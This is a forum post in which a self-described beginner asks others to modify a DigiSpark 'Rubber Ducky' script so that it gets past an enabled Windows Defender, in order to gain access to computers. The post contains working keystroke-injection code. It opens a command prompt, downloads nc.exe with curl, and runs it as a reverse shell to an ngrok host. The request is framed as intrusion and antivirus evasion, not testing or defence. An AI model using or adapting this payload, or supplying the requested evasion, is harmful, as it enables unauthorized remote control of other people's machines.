01-15-2025, 12:23 AM
Hello Guys i am beginner into bypassing the windows defender and these kind of things and i was trying to get access to some computers by DigiSpark Rubber Ducky but and i got this code and modified it in order to get a reverse shell through netcat but each time i test this windows defender detect it, also i know that i can disable it by automating the movement of the cursor and reach the setting and then disable it but i want something to bypass it even if it's enabled, so if you can bypass it kindly send me a modified script that able to bypass windows defender and thanks in advance
#include "DigiKeyboard.h"
void setup() {
pinMode(1, OUTPUT); // Set pin 1 as an output
}
void loop() {
DigiKeyboard.update();
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(3000);
// Open Run prompt (Windows key + R)
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(1500);
// Type 'cmd.exe' to open the Command Prompt
DigiKeyboard.println(F("cmd.exe"));
DigiKeyboard.delay(1000);
// Download 'nc.exe' using curl
DigiKeyboard.println(F("curl https://raw.githubusercontent.com/int0x33/nc.exe/refs/heads/master/nc.exe -o \%TEMP%\\nc.exe\ && \%TEMP%\\nc.exe\ 6.tcp.eu.ngrok.io 18440 -e cmd "));
// Turn on pin 1
digitalWrite(1, HIGH);
DigiKeyboard.delay(90000); // Delay for 90 seconds
// Turn off pin 1
digitalWrite(1, LOW);
DigiKeyboard.delay(5000); // Delay for 5 seconds
}